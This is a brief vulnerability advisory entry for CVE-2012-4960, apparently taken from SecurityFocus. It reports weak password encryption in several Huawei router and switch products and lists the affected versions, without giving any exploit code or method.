CVE-2012-4960

source: https://www.securityfocus.com/bid/56510/info

Multiple Huawei products are prone to a weak password encryption weakness.

Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks.

The following are vulnerable:

Huawei Quidway series
Huawei CX600 V600R001
Huawei CX600 V600R003C00SPC900
Huawei ME60 V600R002C07 and prior versions
AR 19/29/49 R2207 and prior versions
